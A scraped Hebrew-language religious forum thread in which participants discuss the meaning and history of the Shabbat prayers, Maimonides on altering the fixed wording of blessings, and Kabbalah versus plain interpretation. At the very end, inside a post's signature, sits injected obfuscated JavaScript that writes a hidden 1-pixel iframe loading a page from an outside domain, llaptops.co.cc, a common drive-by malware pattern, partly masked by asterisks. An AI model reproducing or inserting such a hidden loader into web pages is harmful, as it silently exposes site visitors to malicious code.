|
|
| נשלח ב-31/12/2010 13:17 |
 |
| |
לגבי תפילות השבת הרי בוודאי ברור ששבת שונה משאר ימות החול וגם מהחגים .
הרי בשבת יש מספר עניינים הקשורים בה וכל תפילה באה להזכיר עניין אחר.
התפילה של ליל שבת מציינת את השבת כעדות על בריאת העולם, "תכלית מעשה שמים וארץ", "ויכֻלּוּ השמים והארץ וכל צבאם";
התפילה של שבת בבוקר מציינת את השבת כיום מתן תורה, שהרי מתן תורה היה בשבת (שבת פו, ב), ובעשרת הדברות שנאמרו לנו שם הוזהרנו על השבת;
תפלת מוסף מדברת על השבת בבית המקדש, שבת של הקרבת שני כבשים בני שנה תמימים
תפלת מנחה של שבת מעידה על שבת שלעתיד לבוא, על יום שכולו שבת.
בכל השבוע אנו אומרים, "ביום ההוא יהיה ה' אחד ושמו אחד", ובשבת במנחה אנו אומרים "אתה אחד ושמך אחד", הגענו אל התכלית, אתה אחד ושמך אחד. כמובן שעוד לא הגענו אליה ממש, כי עוד מעט תצא השבת ונעשה הבדלה ויתחיל שבוע חדש, אבל השבת במנחה, "רעוא דרעוין", רומזת על השלמות, על העולם השלם, על יום שכולו שבת. זוהי העדות השניה של השבת, שהעולם שהתחיל ונברא ע"י הקב"ה יסתים במלכות שמים .
(מבוסס על רבינו גוגל. שלאחרונה התרבו מתנגדיו כאן בפורום...)
|
|
|
|
| נשלח ב-31/12/2010 13:30 |
|
| |
צענע נהנתי מאד לקרא את דברייך,( למרות שכמובן התשובה שלי יותר טובה  )- עד שגילית את המקור, אבל בכל זאת, את הבינה היתירה שיש לנשים אי אפשר לקחת ממך. _________________
מודה ועוזב
|
|
|
|
|
| נשלח ב-1/1/2011 23:10 |
|
| |
ירוחם
נראה לי שהבנת ההתפתחות ההיסטורית יכולה לגלות לנו קשרים ופשרים.
צענערענה, איקון ירוק על ההסבר היפה, גם אם הטרחה העיקרית שלך היתה בגוגל. אבל היא הנותנת. האם זו דרשה יפה או כוונת המחבר?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-1/1/2011 23:22 |
|
| |
הרב מימוני
אכן אתה צודק אם בחקר היטורית התפילה אנו עוסקים. אבל אנו עוסקים בתפילה ממש בפשר המילים והמשפטים שאנו מוצאים מפינו, כשאנחנו הדברים ישירות עם בורא עולם.
מה איכפת לי מי חיבר את המילים- זה נכון או לא נכון?. זה מובן לי מה שאני מדבר? מה שלמדתי כי בעצם כל אדם היה אמור להתפלל מתוך מה שעולה על ליבו, אבל לאחר חורבן הבית כשרצו למסד את התפילות בבתי כנסת -מקדש מעט, היה צריך להיות סדר, ונוסח בתפילה- כי הרי רוב רובו של העם כאז וגם היום אין להם את הכשרון והיכולת לנסח תפילה. לדעתי מה שחשוב זה מה שאומרים ולא מי שחיבר את מה שאומרים.
|
|
|
|
| נשלח ב-2/1/2011 00:43 |
|
| |
רמב"ם, הלכות קריית שמע, פ"א ה"ח:
ברכות אלו, עם שאר כל הברכות הערוכות בפי כל ישראל--עזרא
ובית דינו תיקנום; ואין אדם רשאי לפחות מהן, ולא להוסיף עליהן: מקום
שהתקינו לחתום בברוך, אינו רשאי שלא לחתום, ומקום שהתקינו שלא לחתום, אינו
רשאי לחתום; מקום שהתקינו שלא לפתוח בברוך, אינו רשאי לפתוח, ומקום שהתקינו
לפתוח בברוך, אינו רשאי שלא לפתוח. כללו של דבר: כל המשנה ממטבע שטבעו
חכמים בברכות--הרי זה טועה, וחוזר ומברך כמטבע. וכל שאינו אומר אמת ויציב
בשחרית, ואמת אמונה בערבית--לא יצא ידי חובתו.
הכרתי מישהו בבית כנסת תימני שעל סמך דברים אלו היה מברך ברכות ק"ש הרגילות של יום חול גם בשבת, בטענה שהנוסח של שבת הוא שינוי ממטבע שתיקנו חכמים.
סיפרתי זאת לידיד בעל ידע בספרות הגאונים, וזה אמר לי שגם בסידור של [רב עמרם? רס"ג?] יש נוסח מיוחד לברכות ק"ש של שבת, ומכאן שמדובר בנוסח עתיק שהיה קיים כבר בימי הרמב"ם, ולכן מסתמא הרמב"ם לא התכוון לפסול את הנוסח של שבת אלא שינויים אחרים. (למרות שבסדר התפילה של הרמב"ם שבסוף ס' אהבה לא מוזכר נוסח מיוחד לשבת)
מה דעת ת"חי הפורום?
תוקן על ידי מקסוול ב- 02/01/2011 00:46:53
|
|
|
|
| נשלח ב-2/1/2011 01:13 |
|
| |
מקסוול
ראה ספר העתים לר' יהודה ברצלוני (שאינו לפני כרגע) הדן בעניין וטוען שאין מקום כלל לתוספות בברכת קריאה שמע של שבת .
והערה לגבי השוני בברכה האמצעית של שבת קימת עדות של רש"י שחזר לנוסח של אתה בחרתנו כי לא הבין את הקשר בין ישמח משה לשבת
וידר (חוקר תפילה ידוע) כתב מאמר על ישמח משה (ספרו אינו בפני) והעלה השערה שמדובר על פיוט שאם לכל ברכה היו שלוש שורות אלפא בתיות אזי ישמח משה הוא הבית הרביעי
ישמח משה....
כליל תפארת בידו.....
לוחות אבנים .......... וטען שהנוסח שני לוחות אבנים היא תוספת מאוחרת
|
|
|
|
| נשלח ב-2/1/2011 02:27 |
|
| |
| מיימוני כתב: |  | מסורתי
האם "אתה בחרתנו" לא נכון בימות השבוע?
לגבי המשלים, יש גבול עד כמה ראוי למתוח אותם ועד כמה ראוי לנתח אותם. לפעמים יש ניתוחים מופרזים. זו כמובן דעתי שלי וזה מה שכתבתי. הנסיון להסביר את בחירת ה' בישראל לפי דיני קידושין כפי שהם מנותחים בידי האחרונים - זו פרשנות יתר. פרשנות יתר זו תופעה שבה אדם מכניס משמעויות למילים שלא נועדו לסבול אותן. זה מפתה לעסוק בפרשנות יתר, וזה מה שלדעתי עושים מקובלים, וזה מה שהבאת אתה כאן בשם הרב פינקוס.
מה קשור אתה בחרתנו ליום חול... מה הענין??
מילא יום קדוש כמו שבת יום טוב- ניחה, כי זה מפגש ויחוד ביננו לבין ה' ית' (לא נתנו שבתות וחגים אלא כדי לעסוק בתורה כו' )
אבל ביום חול מאי האי?
לגבי המשלים כו' אני מבין ממך שאתה מאד מאד מנותק מפנמיות התורה, וזה חבל..
יכול להיות שרבותיך למדו אותך שקבלה או חסידות זה דיבורים באויר, ולכן אני מעדיף שלא להרחיב בנושא
(רק תדע שאין הפרש בין קבלה לבין הפשט, ואדרברא, מי שמפריד ביניהם הוא מקצץ בנטיעות..
לענין הלכה- יש בזה מחלוקת, וגם בזה אין כאן המקום להרחיב , בין הלכה לבין הנהגה לבין האמת..
אבל להפריד בין הפנימיות לבין חיצוניות התורה ללא קשר להלכה, זו כפירה ואפיקורסות..
אני לא אומר שזה מה שאתה עושה, אלא אני אומר את זה כדי שהדברים יהיו יותר ברורים, על אף שלא ניכר ממך שאתה חולק על זה, כך שלא תחשוב שזה מסר אישי על מה שכתבת..)
נ.ב-מסיבות אישיות לא אוכל להגיב בקרוב אלא בעוד שבוע בערך, וגם זה לא בטוח
אבל בעזרת ה' אוכל להגיב בעוד חודש, כי יש לי דברים אישיים וכשאגמור אותם אשתדל להגיב לפחות פעם בשבוע
אבל אחרי חודש אני מקווה שזה יחזור כרגיל..
_________________ שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
 |
|
|
|
|
|
